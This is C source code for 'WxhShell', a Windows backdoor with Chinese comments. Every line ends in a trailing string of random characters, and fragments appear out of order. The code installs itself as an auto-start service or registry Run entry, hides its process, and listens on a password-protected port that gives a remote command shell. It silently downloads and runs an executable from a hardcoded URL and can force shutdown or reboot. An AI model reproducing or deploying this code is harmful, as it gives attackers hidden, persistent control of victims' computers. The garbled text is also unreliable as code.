  case 'd': { >n09K8 A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jx.f DVJ  
    if(Boot(SHUTDOWN)) am]M2+,2Ip  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3@I0j/1#k1  
    else { />S^`KSTM  
    closesocket(wsh); pNb2t/8%%  
    ExitThread(0); Sk|e#{  
    } HJAiQ[m5s  
    break; 0qJ (RB  
    } :>fT=$i@  
  // 获取shell =:s`C,l.4  
  case 's': { U S ALoe  
    CmdShell(wsh); ;n Bf  
    closesocket(wsh); Wn=sF,c  
    ExitThread(0); &" t~d}Rg  
    break; w. k9{f  
  } t<##0#xS.  
  // 退出 FYYc+6n  
  case 'x': { T%eBgseS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JI-i7P  
    CloseIt(wsh); fwz:k]vk  
    break; G{} 2"/   
    } bXnUz?1!d  
  // 离开 UUV5uDe>i  
  case 'q': { F<I*?${[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;98&5X\u<  
    closesocket(wsh); [nO3%7t@  
    WSACleanup(); $K^l=X  
    exit(1); L?[m$l!T}  
    break; o%?)};o  
        } w[-)c6JyE  
  } wN!\$i@E:  
  } * hs&^G  
DU%E883  
  // 提示信息 z,TH}s6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QXZXj#`  
} oFU:]+.+D  
  } WVa%<  
Zt!#KSF7%  
  return; YbP @  
} Rs<q^w]  
Qfn:5B]tI  
// shell模块句柄 #<*.{"T  
int CmdShell(SOCKET sock) s?EQ  
{ C(XV YND3  
STARTUPINFO si; t<Acq07  
ZeroMemory(&si,sizeof(si)); e3 v^j$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 72s qt5C]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2o?j{K  
PROCESS_INFORMATION ProcessInfo; U80=f2  
char cmdline[]="cmd"; 2&4nf/sE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1VgGF^cYR  
  return 0; W Ej{2+  
} J 4gtm"2)  
uy hh"[  
// 自身启动模式 ;gZ ^c]\  
int StartFromService(void) vkE`T5??  
{ x fb .Z(  
typedef struct G+<XYkz*  
{ 0*XsAz1,9  
  DWORD ExitStatus; "'z}oS  
  DWORD PebBaseAddress; Fe0M2%e;|  
  DWORD AffinityMask; *-9i<@|(U^  
  DWORD BasePriority; q2EDrZ  
  ULONG UniqueProcessId; {nKw<F2  
  ULONG InheritedFromUniqueProcessId; w6V/Xp][U  
}   PROCESS_BASIC_INFORMATION; ;|Mfq` s  
WA (x]""  
PROCNTQSIP NtQueryInformationProcess; 0 %~~IT}U  
jB?SX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w.x&3aG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n2mO-ZXud  
H4y9\ -  
  HANDLE             hProcess; ^N/d`IAjv  
  PROCESS_BASIC_INFORMATION pbi; r ]7: ?ir  
X9Ch(nWX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :PT{>r[  
  if(NULL == hInst ) return 0; =>;&M)+q  
,JZ>)(@)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AO7[SHDZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #'Y lO -C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?9\D(V  
/2? CB\  
  if (!NtQueryInformationProcess) return 0; [on_=N{W[  
V5K/)\#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0>od1/`  
  if(!hProcess) return 0; 'OA*aQ=K  
MrR`jXz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B.; qvuM~  
H'k}/<%Q  
  CloseHandle(hProcess); \n[kzi7  
VCWW(Y1Fd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >aAM&4  
if(hProcess==NULL) return 0; eNd&47lJ  
Lk !)G'42  
HMODULE hMod; -V}oFxk]q  
char procName[255]; nFQuoU]ux  
unsigned long cbNeeded; JVIFpN"`  
DquL r+s~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G(7%*@SX  
E y:68yU  
  CloseHandle(hProcess); tB4mhX|\  
$P{`-Y }a  
if(strstr(procName,"services")) return 1; // 以服务启动 "-=fi 'D  
=Dq&lm,n  
  return 0; // 注册表启动 ^m#tWb)f  
} T [SK>z  
)$!b`u  
// 主模块 5_;-Qw  
int StartWxhshell(LPSTR lpCmdLine) $Lp [i <O]  
{ WutPy_L<  
  SOCKET wsl; 6nL^"3@S!  
BOOL val=TRUE; 9rMO=  
  int port=0; ^VXhv9\>B  
  struct sockaddr_in door; +*8su5:[&@  
EX8+3>)  
  if(wscfg.ws_autoins) Install(); ii?T:T@  
@5^&&4>N  
port=atoi(lpCmdLine); ^)-[g  
w-n}&f  
if(port<=0) port=wscfg.ws_port; <MbhBIejr  
,ucRQ&P  
  WSADATA data; ^sf,mM~D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !5} }mf  
M{L- V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s`$}xukT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &3t973=  
  door.sin_family = AF_INET;  i"<W6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (\F9_y,6*\  
  door.sin_port = htons(port); 1b%Oi.;  
(I~   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n[Q(q[ULV  
closesocket(wsl); r-y;"h'  
return 1; _Ay^v#a  
} qSNCBn '  
rQ.zqr  
  if(listen(wsl,2) == INVALID_SOCKET) { o-=|}u]mz  
closesocket(wsl); f8;?WSGyD2  
return 1; }<^mUG  
} OInl?_,,T#  
  Wxhshell(wsl); "SMJ:g",  
  WSACleanup(); t$$YiO  
bny5e:= d  
return 0; !Aj}sh{  
>Hnm.?-AWl  
} V[(fE=cIN~  
'W(u.  
// 以NT服务方式启动 xq((]5Py  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q$U5[ TZm  
{ (X "J)x aQ  
DWORD   status = 0; hP)Zm%@0f  
  DWORD   specificError = 0xfffffff; 'V?FeWp  
9qftMDLZJ\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F%6wdM W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o-@01_j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F-s{#V1=  
  serviceStatus.dwWin32ExitCode     = 0; UDJjw  
  serviceStatus.dwServiceSpecificExitCode = 0; .Exvuo`F  
  serviceStatus.dwCheckPoint       = 0; f]i"tqoI  
  serviceStatus.dwWaitHint       = 0; =6~  
?"Ez  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;<M}ZL@m  
  if (hServiceStatusHandle==0) return; Ikdj?"+O  
Z+v,o1  
status = GetLastError(); `^[k8Z(  
  if (status!=NO_ERROR) A;L ]=J  
{ tY;<S}[@7w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0I.KHIB k  
    serviceStatus.dwCheckPoint       = 0; %j\&}>P4$  
    serviceStatus.dwWaitHint       = 0; ui>jJ(  
    serviceStatus.dwWin32ExitCode     = status; Kzrd<h]`)  
    serviceStatus.dwServiceSpecificExitCode = specificError; uP* kvi:e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RxqNgun@  
    return; )c4tGT<  
  } YD[HBF)~j  
5[4wN( )  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7GO9z<m)  
  serviceStatus.dwCheckPoint       = 0; _|u}^MLO  
  serviceStatus.dwWaitHint       = 0; AJ}FHym_ZQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v/ N[)<  
} Ro]Z9C>1o  
`-{l$Hn9|~  
// 处理NT服务事件,比如:启动、停止 *,z/q6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s>/Xb2\  
{ D U\ytD`u  
switch(fdwControl) c0zcR)=mL  
{ (c[u_~ ;  
case SERVICE_CONTROL_STOP: TX=894{nGh  
  serviceStatus.dwWin32ExitCode = 0; _p6 r5Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5.\p]>|G1  
  serviceStatus.dwCheckPoint   = 0; |aP`hVm  
  serviceStatus.dwWaitHint     = 0; ;d}>8w&tfy  
  { Z4i))%or  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x:Q\pZ  
  } !\7 M7  
  return; ~6;I"0b5  
case SERVICE_CONTROL_PAUSE: F- -g?Q^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D>y5&`  
  break; @/ ^< 9  
case SERVICE_CONTROL_CONTINUE: 8r(a wp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \oWpyT _  
  break; `D(V_WZ  
case SERVICE_CONTROL_INTERROGATE: \ UrD%;sq  
  break; 08xo_Oysq  
}; ?XY'<]o E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KdkL_GSLT  
} U3N d\b'0  
)pl5nu#<  
// 标准应用程序主函数 y7>3hfn~w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S'!&,Dxq^  
{ \(pwHNSafk  
> '=QBW  
// 获取操作系统版本 ];k!*lR)  
OsIsNt=GetOsVer(); ![%wM Pp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c[ZrQJ  
[e` | <  
  // 从命令行安装 D \i]gfu8W  
  if(strpbrk(lpCmdLine,"iI")) Install(); :4zu.  
}B'-*)^|e{  
  // 下载执行文件 %/uLyCUZ  
if(wscfg.ws_downexe) { Kzn1ct{65!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Led\S;pl  
  WinExec(wscfg.ws_filenam,SW_HIDE); '! ^7 *@z  
} 2L&c91=wE  
lW?}Ts ~'  
if(!OsIsNt) { q7lC}'2fu  
// 如果时win9x,隐藏进程并且设置为注册表启动 _G'ki.[S7  
HideProc(); 82@^vX  
StartWxhshell(lpCmdLine); QwX81*nx  
} Zy+ERaF|]  
else EK4%4<"  
  if(StartFromService()) {3  
  // 以服务方式启动 _5rKuL  
  StartServiceCtrlDispatcher(DispatchTable); c~tl0XU1  
else ZRf9'UwS  
  // 普通方式启动 u~OlJ1V  
  StartWxhshell(lpCmdLine); T!,5dt8L  
Bg),Q8\I  
return 0; ^mq(j_E.  
} JxinfWk  
{?:]'c  
;\w3IAa|V  
 b+a+OI D  
=========================================== k{mBG9[z  
bRu 9*4t  
kqKT>xo4EZ  
5)< Y3nU~  
48 wt  
W7n^]~V  
" BX$<5S@  
"9P @bA  
#include <stdio.h> ^5s7mls  
#include <string.h> `n>|rd  
#include <windows.h> 8?82 p  
#include <winsock2.h> HK :K~h  
#include <winsvc.h> lPR^~&/  
#include <urlmon.h> KS8@A/f  
i@+m<YS:2>  
#pragma comment (lib, "Ws2_32.lib") )tBz=hy#  
#pragma comment (lib, "urlmon.lib") =u}~\ 'd  
+A8q.-N G  
#define MAX_USER   100 // 最大客户端连接数 .T7CMkYt  
#define BUF_SOCK   200 // sock buffer zd%f5L('  
#define KEY_BUFF   255 // 输入 buffer xy:Mb =r  
FQ 0&{ulb  
#define REBOOT     0   // 重启 QD0x^v8  
#define SHUTDOWN   1   // 关机 KWo Ps%G  
R{c~jjd  
#define DEF_PORT   5000 // 监听端口 5, ,'hAq_  
!@lx|= #  
#define REG_LEN     16   // 注册表键长度 a!bW^?PcK  
#define SVC_LEN     80   // NT服务名长度 U Y*`R  
BR|0uJ.M  
// 从dll定义API ].rKfv:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5 <k)tF%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w\i]z1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U3_O}X+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *eHa4I  
|?J57(  
// wxhshell配置信息 <B>qE a_I  
struct WSCFG { *=oO3c0|b,  
  int ws_port;         // 监听端口 4AEw[(t  
  char ws_passstr[REG_LEN]; // 口令 'GezIIaH  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jd/d\P  
  char ws_regname[REG_LEN]; // 注册表键名 d,?D '/  
  char ws_svcname[REG_LEN]; // 服务名 )A*53>JV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =7e!'cF[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ze>R@rK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P Ptmh. }e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |a03S Zx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lp-$Ie  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &ic'!h"  
3ux7^au  
}; d8;kM`U  
i tNuY<"  
// default Wxhshell configuration Fk49~z   
struct WSCFG wscfg={DEF_PORT, cEa8l~GC<  
    "xuhuanlingzhe", Fy\q>(v.  
    1, n@tt.n!{l  
    "Wxhshell", xGyl7$J  
    "Wxhshell", tW~kn9glZ  
            "WxhShell Service", +pgHCzwJE  
    "Wrsky Windows CmdShell Service",  ^[SW07o~  
    "Please Input Your Password: ", aPlEM_escS  
  1, uxn+.fA  
  "http://www.wrsky.com/wxhshell.exe", mC@v,"  
  "Wxhshell.exe" H0&wn#);6R  
    }; *~GI-h  
=c \(]xX  
// 消息定义模块 f|(9+~K/7&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Il4]1d|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MOh&1]2j5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9b >+ehjB  
char *msg_ws_ext="\n\rExit."; 4z P"h0  
char *msg_ws_end="\n\rQuit."; mf g>69,w  
char *msg_ws_boot="\n\rReboot..."; W*s=No3C  
char *msg_ws_poff="\n\rShutdown..."; P !f{U;B  
char *msg_ws_down="\n\rSave to "; \mLEwNhRY  
`W}pA mhj  
char *msg_ws_err="\n\rErr!"; ? ch?q~e)  
char *msg_ws_ok="\n\rOK!"; oU,8?( }'~  
9O&m7]3  
char ExeFile[MAX_PATH]; oJNQdW[  
int nUser = 0; L/Kb\\f  
HANDLE handles[MAX_USER]; , poc!n//  
int OsIsNt; ]#4kqj}  
!X: TieyVu  
SERVICE_STATUS       serviceStatus; Sr Nc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yCR8c,'8  
C.ynOo,W  
// 函数声明 j5R0e}/r  
int Install(void); p,k1*|j  
int Uninstall(void); wz3X;1l`c  
int DownloadFile(char *sURL, SOCKET wsh); Jc?zX8>Ae:  
int Boot(int flag); G~C-tAB  
void HideProc(void); 5\zR>Tg".  
int GetOsVer(void); HD#>K 7  
int Wxhshell(SOCKET wsl); ;39a`  
void TalkWithClient(void *cs); zd2_k 9  
int CmdShell(SOCKET sock); 0kCo0{+n  
int StartFromService(void); c;/vzIJj  
int StartWxhshell(LPSTR lpCmdLine); K:-jn}i?/  
~D5FnN9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =D0d+b6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); An#[ +?  
Y?1T XsvF  
// 数据结构和表定义 ZzBaYoNy[0  
SERVICE_TABLE_ENTRY DispatchTable[] = +}at#%1@  
{ _;^x^  
{wscfg.ws_svcname, NTServiceMain}, |qguLab(  
{NULL, NULL} I 2AQ G  
}; x1`w{5;C 2  
}~&0<8m  
// 自我安装 [mwqCW&  
int Install(void) CR.d3!&28  
{ &+02Sn3A  
  char svExeFile[MAX_PATH]; =Bc{0p*  
  HKEY key; LiFR7\z  
  strcpy(svExeFile,ExeFile); ea @ H  
7;@YR  
// 如果是win9x系统,修改注册表设为自启动 Q)4[zStR#  
if(!OsIsNt) { GQ?FUFuIoW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?uc]Wgw"s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NG3:=  
  RegCloseKey(key); >A]l|#Rz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uu+ibVM$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }\H. G  
  RegCloseKey(key); jtfC3E,U  
  return 0; ^m D$#  
    } FZU1WBNL%t  
  } X&aQR[X  
} FTEC=j$ln  
else { /g*_dH)=  
Ux?G:LLz  
// 如果是NT以上系统,安装为系统服务 p`&{NR3+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s \3]0n9  
if (schSCManager!=0) `Ivt)T+n;  
{ n(z$u)Y  
  SC_HANDLE schService = CreateService XFs7kTY  
  (  :Kyr}-  
  schSCManager, _&q&ID  
  wscfg.ws_svcname, @G#`uoD  
  wscfg.ws_svcdisp, RB*z."  
  SERVICE_ALL_ACCESS, R~A))4<%%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3ONWu  
  SERVICE_AUTO_START, i@P= *lLD  
  SERVICE_ERROR_NORMAL, "Ltp]nCR  
  svExeFile, G+sB/l"  
  NULL, ~7j-OWz9  
  NULL, o6 NmDv5  
  NULL, N1g;e?T ':  
  NULL, k}kwr[  
  NULL wp8-(E^  
  ); VIGLl'8p  
  if (schService!=0) =&-.]| t  
  { ZR3sz/ulLd  
  CloseServiceHandle(schService); tculG|/  
  CloseServiceHandle(schSCManager); s$9ow<oi]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sX>|Y3S\U  
  strcat(svExeFile,wscfg.ws_svcname); yTbtS-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K; hP0J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Dcpe M?  
  RegCloseKey(key); OmK0-fa/  
  return 0; O*/Utl  
    } Tf$>^L  
  } / L$q8+  
  CloseServiceHandle(schSCManager); 3- d"-'k  
} R(y`dQy<K  
} nx`W!|g$`  
lr)MySsu#H  
return 1; <.lN'i;(  
} y&4im;X0  
70*yx?TV  
// 自我卸载 &SZAe/3+  
int Uninstall(void) "lA$;\&  
{ YP"%z6N@v  
  HKEY key; #/`MYh=!W  
{az LtTh  
if(!OsIsNt) { OB(~zUe.R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DVs$3RL  
  RegDeleteValue(key,wscfg.ws_regname); ?|2m0~%V=  
  RegCloseKey(key); m^0*k|9+G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?~}8^~3  
  RegDeleteValue(key,wscfg.ws_regname); 3\<(!yY8  
  RegCloseKey(key); \n#l+R23  
  return 0; *"/BD=INv}  
  } 9<!??'@f  
} m`XaY J  
} +C`vO5\0  
else { {iLr$ 89  
}?GeU Xhy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2qj0iRH#N<  
if (schSCManager!=0) 0j#$Swa  
{ xr)m8H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'HvW&~i(  
  if (schService!=0) HwMe^e;  
  { |])Ko08*tE  
  if(DeleteService(schService)!=0) { 7V\M)r{q7  
  CloseServiceHandle(schService); r_a1oO:  
  CloseServiceHandle(schSCManager); \gZjq]3  
  return 0; $U_1e'  
  } ,qgR+]?({  
  CloseServiceHandle(schService); 7BA9zs392  
  } h7]>b'H  
  CloseServiceHandle(schSCManager); 5FNf)F   
} p_3VFKq>0  
} 5bK:sht  
Zq}Cl'f  
return 1; sD XJXJZ  
} X.)1>zk  
#>$w9}gFi  
// 从指定url下载文件 | qf8y  
int DownloadFile(char *sURL, SOCKET wsh) C\[g>_J  
{ LrV4^{9(  
  HRESULT hr; q p1rP#  
char seps[]= "/"; LTD;  
char *token; <8Q?kj  
char *file; !%C&hH\  
char myURL[MAX_PATH]; '&xRb*  
char myFILE[MAX_PATH]; ZcN%F)htm  
O >&,h^  
strcpy(myURL,sURL); WgV[,(  
  token=strtok(myURL,seps); +7)/SQM5  
  while(token!=NULL) ^yF2xJ)9-  
  { <J1$s_^`  
    file=token; !3at(+4  
  token=strtok(NULL,seps); Lr(wS {  
  } b(g?X ( &  
OEN'c0;5  
GetCurrentDirectory(MAX_PATH,myFILE); Zf`dd T  
strcat(myFILE, "\\"); hRN>]e,!  
strcat(myFILE, file); f['pHR%l2$  
  send(wsh,myFILE,strlen(myFILE),0); +@oo8io  
send(wsh,"...",3,0); x(88Y7o.t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2! bE|  
  if(hr==S_OK) fm%-wUgj  
return 0; flfE~_  
else QW%BKF!  
return 1; [@t 6,g  
&4l >_  
} 9=^4p=1J  
.l&<-l;UQ  
// 系统电源模块 </d&bS  
int Boot(int flag) Rh#TR"  
{ X=OJgyO/  
  HANDLE hToken; aib)ItNb  
  TOKEN_PRIVILEGES tkp; OK9D4 7X  
B,dKpz;kFg  
  if(OsIsNt) { ODqWXw#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6JL:p{RLi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v:] AS:  
    tkp.PrivilegeCount = 1; K_~SJbl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [R[Suf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1G+ ?/w  
if(flag==REBOOT) { GwVSRI:[N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AfW9;{j&I  
  return 0; ?_c*(2i&^  
} t[L'}ig!q  
else { wq&TU'O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ddD $ 4+  
  return 0; Z)zmT%t  
} [HhdeLOX  
  } U~8 oE_+  
  else { Z66@@?`  
if(flag==REBOOT) { S}*%l)vfR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @=[ SsS  
  return 0; )TcW.d6  
} ~\m|pxcj  
else { NLxsxomj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q:B:  
  return 0; @v,qfT*k7  
} MoP 0qNk  
} M9b_Q  
V<!E9/4rS  
return 1; /\9X0a2h|E  
} l;g8_uyjv7  
.<`Rq'  
// win9x进程隐藏模块 !>+Na~eN  
void HideProc(void) =2eG j'}  
{ `cr.C|RT:  
^CwzA B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o5FBqt  
  if ( hKernel != NULL ) i'%:z]hp9  
  { q|%(47}z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^\<1Y''  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xe6 2gaT  
    FreeLibrary(hKernel); n300kpv  
  } nNFZ77lg  
tXTa>Q  
return; )LwB  
} ~l@SGHx  
AjZ@hid  
// 获取操作系统版本 JtU/%s  
int GetOsVer(void) ^kMgjS}R  
{ F+S;u=CKx  
  OSVERSIONINFO winfo; bg)yl iX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9c1n  
  GetVersionEx(&winfo); DPNUm<>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XoaBX2  
  return 1; f&Bu_r  
  else of ^N4  
  return 0; ; . c]0  
} bd2"k;H<o  
`1KZ14K  
// 客户端句柄模块 ;o#R(m@Lx  
int Wxhshell(SOCKET wsl) eRa1eR gP  
{ '7{0k{  
  SOCKET wsh; !R WX1Z  
  struct sockaddr_in client; yl%F}kBR  
  DWORD myID; 56m|gZcC  
$vdGkz@6  
  while(nUser<MAX_USER) Z;W`deA  
{ fmvv q1G&  
  int nSize=sizeof(client); ht S5<+Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m(8t |~S  
  if(wsh==INVALID_SOCKET) return 1; @fbB3  
H0s,tTK8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g!O(@Sqp1  
if(handles[nUser]==0) m4 *Rr  
  closesocket(wsh); cV5Lp4wY?  
else @qH<4`y.^  
  nUser++; (+9_nAgZ,  
  } HQ+:0" B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xS,#TU;)Ol  
GjA;o3(  
  return 0; @M"h_Z1#  
} pVw)"\S%  
Q<r O5 -K  
// 关闭 socket d3(T=9;f2  
void CloseIt(SOCKET wsh) - iS\3P.  
{ u[^(s_  
closesocket(wsh); ?iUAzM8  
nUser--; 8KW}XG  
ExitThread(0); M*E4:A9_M  
} r$6z{Na\[  
#oi4!%*M  
// 客户端请求句柄 fdCsn:  
void TalkWithClient(void *cs) . c+RFX@0  
{ a$FELlMv  
H.Z:at5n  
  SOCKET wsh=(SOCKET)cs; 56AaviEC  
  char pwd[SVC_LEN]; ab' f:  
  char cmd[KEY_BUFF]; V2'(}k  
char chr[1]; #T n~hnW  
int i,j; ^c^9kK'  
VzMoWD;  
  while (nUser < MAX_USER) { t}`|\*a  
]`y4n=L.  
if(wscfg.ws_passstr) { Kig.hHj@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HlY4%M5q/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >0i?}  
  //ZeroMemory(pwd,KEY_BUFF); Tfgx>2  
      i=0; ~y^#?;  
  while(i<SVC_LEN) { d"nE+pgE  
z_< 7T4  
  // 设置超时 %"DEgI P  
  fd_set FdRead; 6lq7zi}'w  
  struct timeval TimeOut; zie])_8|h  
  FD_ZERO(&FdRead); D C mNxN  
  FD_SET(wsh,&FdRead); ID5?x8o#k  
  TimeOut.tv_sec=8; * KFsO1j  
  TimeOut.tv_usec=0; !/['wv@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W<B8PS$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /U6G?3b  
5 8p_b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _pKW($\  
  pwd=chr[0]; *n2Q_o  
  if(chr[0]==0xd || chr[0]==0xa) { ~c :e0}  
  pwd=0; 7^Jszd:c08  
  break; JQE^ bcr  
  } 9 YU7R)  
  i++; 7 4aap2^  
    } $[[6N0}*:  
or ~o'  
  // 如果是非法用户,关闭 socket B.K"1o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VE6T&fz`  
} yK0Q,   
EUe2<G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D_9&=a a'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =6j  5,  
3. Qf^p  
while(1) { ~7b '4\  
}` Q'!_`  
  ZeroMemory(cmd,KEY_BUFF); d^Ra1@0"q2  
o~gduNG#  
      // 自动支持客户端 telnet标准   rr*",a"}m  
  j=0; @|%t<{y^I  
  while(j<KEY_BUFF) { naXo < B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DhY9)>4M  
  cmd[j]=chr[0]; iX.=8 ~3  
  if(chr[0]==0xa || chr[0]==0xd) { Rmn|"ZK  
  cmd[j]=0; 6k42>e*p  
  break; Q{H88g^=J  
  } \h :Rw|  
  j++; Zo;@StN3}T  
    } =1^Ru*G  
*WfOB2rU  
  // 下载文件 + yS"pOT  
  if(strstr(cmd,"http://")) { q uv`~qn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bI@+Or  
  if(DownloadFile(cmd,wsh)) W]_+3qvZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LZM[Wg#  
  else .ymR%X_k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rh9>iA@fd  
  } A T+|}B!  
